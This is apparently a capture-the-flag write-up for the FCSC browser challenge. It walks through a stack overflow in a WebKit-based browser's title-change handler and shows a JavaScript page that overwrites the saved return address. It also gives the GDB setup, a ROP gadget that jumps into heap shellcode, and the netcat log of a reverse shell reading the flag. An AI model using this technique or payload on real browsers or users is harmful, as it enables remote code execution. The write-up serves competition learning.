We are facing an ELF 64-bit binary.
$ checksec fcsc_browser
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segmentsIt has very few security mitigations, if any. We notice the presence of RWX
segments. readelf(1) tells us the stack is both writable and executable.
The binary is not stripped, making the reverse-engineering process way easier. This is a WebKit-based browser written in C++. There are a lot of functions generated for C++ templated types, which we can safely ignore.
We need to find a vulnerability that can be triggered by a malicious webpage, allowing code execution on the browser (via the reported link). My first intuition was to look after browser-specific javascript functions or event handling.
We notice a Browser C++ class being the main component of the program,
interacting with the WebKit library.
Looking at Browser::create_new_webview(), we notice the events being
registered to the webview as callback functions. Among them is an event named
notify::title, called when the title of the webview is changed.
The callback function webview_title_change() first decodes the new title,
translating it from UTF-8 to raw bytes. It then calls another addBrowser()
function, updating the title parameter to add a prefix specific to the browser.
This function contains a local variable used to store the new title for a
maximum length of 128 bytes. A prefix is being copied before the updated webpage
title, partially stored in the app_name global variable, initialized to
"FCSC Browser" at runtime, followed by the literal string " - ".
There is no size check for the new title being copied into the local stack buffer. Here is a reconstructed C++ pseudocode.
Glib::ustring *addBrowser(Glib::ustring *result, std::string const &title)
{
char tmp_title[128];
// Reset buffer
memset(tmp_title, 0, sizeof tmp_title);
// Copy
memcpy(tmp_title, app_name.c_str(), app_name.size());
memcpy(tmp_title + app_name.size(), " - ", 3);
memcpy(tmp_title + app_name.size() + 3, title.c_str(), title.size());
// Most likely a compiler optimization to avoid moving return value
new (result) Glib::ustring(tmp_title);
return result;
}This vulnerability is pretty straightforward to trigger, considering no mitigations are present: no PIE, no NX, no stack canary. I had a few ideas, such as directly return to the stack buffer to execute a shellcode, or trigger a ROP chain to gain remote code execution.
But first, we need to take control over the saved rip register. The epilogue
of addBrowser() is the following:
add rsp, 128
pop rbx
pop r12
pop rbp
retThis is the stack layout:
-128 RBP 8 16 24 32
+-------------+-----+-----+-----+-----+
| tmp_title | rbx | r12 | rbp | rip |
+-------------+-----+-----+-----+-----+
In order to trigger this vulnerability, we need to create a webpage updating the
title to an arbitrary value. The offset to overwrite saved rip is
128 + 24 = 144.
<script>
const PREFIX = 'FCSC Browser - ';
const OFFSET = 128 + 24 - PREFIX.length;
// Overwriting saved RIP with 0xdeadbeefcafebabe
document.title = Array(OFFSET).join('A') + '\xbe\xba\xfe\xca\xef\xbe\xad\xde';
</script>We consider ASLR as being enabled on the target system, hence return-oriented programming seems the way to go to gain code execution.
We quickly notice an issue when writing an exploit: a null byte in our payload
will be considered as the end of the new title by the notify::title event,
forcing us to use a single ROP gadget.
Problem: on my Debian 10 distribution, a security mitigation seems to avoid
the heap to become executable the same way the actual target system does
(Ubuntu). This made me lose hours trying to look for a one-shot gadget allowing
to directly return to the tmp_title stack buffer, without success.
After noticing the heap is actually executable on the target system, we need to
take a look at all the ROP gadgets available using a tool such as
ropper.
Using GDB to dump the current program state is very helpful to select the gadgets revelant to the exploitation context. The following GDB script is used.
file fcsc_browser
# Specific to GEF
tmux-setup
set $ret_addr = 0x407F82
# Break before overflowing
break *$ret_addr
# Helper function
def solve
# Generate 'solve.html' with javascript payload
shell ./solve.py
run http://localhost:8000/solve.html
end
We generate a De Bruijn sequence (using pwnlib's cyclic() function) to quickly
notice what our payload gives us control over.
$rax : 0x00007fffffffcef0 → 0x0000000000918950 → "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rbx : 0x6662616165626161 ("aabeaabf"?)
$rcx : 0x0000000000612058 → 0x0000000000789850 → 0x00000000009e99b0 → 0x00000000008715b0 → 0x0000000000871790 → 0x00000000008717c0 → 0x0000000000000000
$rdx : 0xa0
$rsp : 0x00007fffffffcec8 → "aabkaabl"
$rbp : 0x6a62616169626161 ("aabiaabj"?)
$rsi : 0x00007fffffffce30 → "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rdi : 0x0000000000918950 → "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rip : 0x0000000000407f82 → <addBrowser(std::__cxx11::basic_string<char,+0> ret
$r8 : 0x00007ffff28f7ea0 → 0x0101010101010101
$r9 : 0x000000000074fb30 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r10 : 0xfffffffffffff1ce
$r11 : 0x00007ffff1ec67c0 → <std::__cxx11::basic_string<char,+0> mov rax, QWORD PTR [rdi]
$r12 : 0x6862616167626161 ("aabgaabh"?)
$r13 : 0x00007fffffffd190 → 0x000000000098d940 → 0x0000000000000002
$r14 : 0x00007fffffffd110 → 0x0000052d00000001
$r15 : 0x00007ffff3fbfa30 → <g_cclosure_marshal_VOID__PARAM+0> cmp edx, 0x2
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x407f7d <addBrowser(std::__cxx11::basic_string<char,+0> add BYTE PTR [rbx+0x41], bl
0x407f80 <addBrowser(std::__cxx11::basic_string<char,+0> pop rsp
0x407f81 <addBrowser(std::__cxx11::basic_string<char,+0> pop rbp
→ 0x407f82 <addBrowser(std::__cxx11::basic_string<char,+0> ret
Some interesting values will greatly help us building a working exploit:
raxholds a stack address pointing to a heap address storing the new window title, hence our payload.- We totally control the
rbx,r12andrbpregisters, as we have already seen when looking at the function epilogue.
We can now look at ropper found gadgets, hoping to find the ultimate truth
among those crazy assembly lines. Long story short, a very interesting gadget
appears:
0x0000000000403e67 : add byte ptr [rax], bl ; jmp qword ptr [rax]
We have a complete control over bl (rbx register), and this allows us to
shift the heap buffer pointed by rax to the start of our payload, and
directly jump to it. Amazing uh?
We can now build a working exploit using a coquillage inversé TCP shellcode.
See file exploit.py for the final exploit generation script using pwnlib.
We host a temporary HTTP server on a server, and send the solve.html page link
through the report form. The page is quickly being retreived, and a TCP reverse
shell connection is successfully made to our listening socket, allowing us to
retreive the content of the flag file.
$ nc -lvp 1337
Connection from 151.80.29.148:33630
ls -la
total 140
drwxr-xr-x 1 root root 4096 Apr 21 13:48 .
drwxr-xr-x 1 root root 4096 Apr 23 12:46 ..
-rwxr-xr-x 1 admin admin 112984 Apr 21 13:46 fcsc_browser
-rw-r--r-- 1 admin admin 71 Apr 21 13:45 flag
-rw-r----- 1 admin admin 915 Apr 21 13:45 main.py
-rwxr-xr-x 1 admin admin 227 Apr 21 13:45 run.sh
drwxr-x--x 1 admin admin 4096 Apr 21 13:48 static
drwxr-x--x 1 admin admin 4096 Apr 21 13:48 templates
cat flag
FCSC{da8089fd6e7a40288a64f88b6a1a8027457206dffbfb28a5c8489a4e1c866e08}